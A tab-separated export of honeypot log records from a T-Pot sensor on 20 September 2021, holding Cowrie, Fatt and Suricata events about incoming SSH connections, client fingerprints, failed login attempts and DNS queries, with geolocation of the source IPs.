\N
27808	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:20.492032+03	2021-09-20 14:30:01.947523+03	{"_id": "_AbqAnwBvYTbRNuE5ynJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49460, "dest_port": 22, "timestamp": "2021-09-20T11:15:20.492032", "@timestamp": "2021-09-20T11:15:20.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27809	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:21.63478+03	2021-09-20 14:30:01.948523+03	{"_id": "_QbqAnwBvYTbRNuE6CmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 59 seconds", "session": "0035bac132a3", "@version": "1", "duration": 59.403249979019165, "timestamp": "2021-09-20T11:15:21.634780Z", "@timestamp": "2021-09-20T11:15:21.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27810	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:21.879294+03	2021-09-20 14:30:01.950524+03	{"_id": "BgbqAnwBvYTbRNuE7Cp4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/112233] failed", "session": "1a0fa1cf258e", "@version": "1", "password": "112233", "username": "root", "timestamp": "2021-09-20T11:15:21.879294Z", "@timestamp": "2021-09-20T11:15:21.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27811	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:22.34737+03	2021-09-20 14:30:01.951568+03	{"_id": "BwbqAnwBvYTbRNuE7Cp4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "424c2bceab33", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:22.347370Z", "@timestamp": "2021-09-20T11:15:22.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27812	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:19.093216+03	2021-09-20 14:30:01.952524+03	{"_id": "5wbqAnwBvYTbRNuE3yn4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52606, "dest_port": 22, "timestamp": "2021-09-20T11:15:19.093216", "@timestamp": "2021-09-20T11:15:19.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27813	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:18.883575+03	2021-09-20 14:30:01.954524+03	{"_id": "6AbqAnwBvYTbRNuE4Cm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "021174df3485", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:18.883575Z", "@timestamp": "2021-09-20T11:15:18.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27814	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:15:28.032344+03	2021-09-20 14:30:01.955524+03	{"_id": "SgbrAnwBvYTbRNuEASrn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23064, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1859361895906904, "@version": "1", "in_iface": "enp5s0", "src_port": 48391, "dest_port": 53, "timestamp": "2021-09-20T11:15:28.032344Z", "@timestamp": "2021-09-20T11:15:28.032Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27815	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:15:42.301862+03	2021-09-20 14:30:01.956525+03	{"_id": "7gbrAnwBvYTbRNuEPCqI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 514863186925815, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41588, "dest_port": 22, "timestamp": "2021-09-20T11:15:42.301862Z", "@timestamp": "2021-09-20T11:15:42.301Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27816	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:43.133154+03	2021-09-20 14:30:01.957523+03	{"_id": "7wbrAnwBvYTbRNuEPSrN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35014, "timestamp": "2021-09-20T11:15:43.133154", "@timestamp": "2021-09-20T11:15:43.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27817	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:43.132142+03	2021-09-20 14:30:01.958525+03	{"_id": "_wbrAnwBvYTbRNuEPiqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c2577cec2036", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:43.132142Z", "@timestamp": "2021-09-20T11:15:43.132Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27818	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:43.411974+03	2021-09-20 14:30:01.960524+03	{"_id": "AAbrAnwBvYTbRNuEPiuV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c2577cec2036", "@version": "1", "timestamp": "2021-09-20T11:15:43.411974Z", "@timestamp": "2021-09-20T11:15:43.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27819	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:43.500153+03	2021-09-20 14:30:01.961524+03	{"_id": "AQbrAnwBvYTbRNuEPiuV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "f7cdbb9f3865", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:15:43.500153Z", "@timestamp": "2021-09-20T11:15:43.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27820	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:43.409645+03	2021-09-20 14:30:01.962523+03	{"_id": "BAbrAnwBvYTbRNuEQCtw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2100137763469565, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35014, "dest_port": 22, "timestamp": "2021-09-20T11:15:43.409645Z", "@timestamp": "2021-09-20T11:15:43.409Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
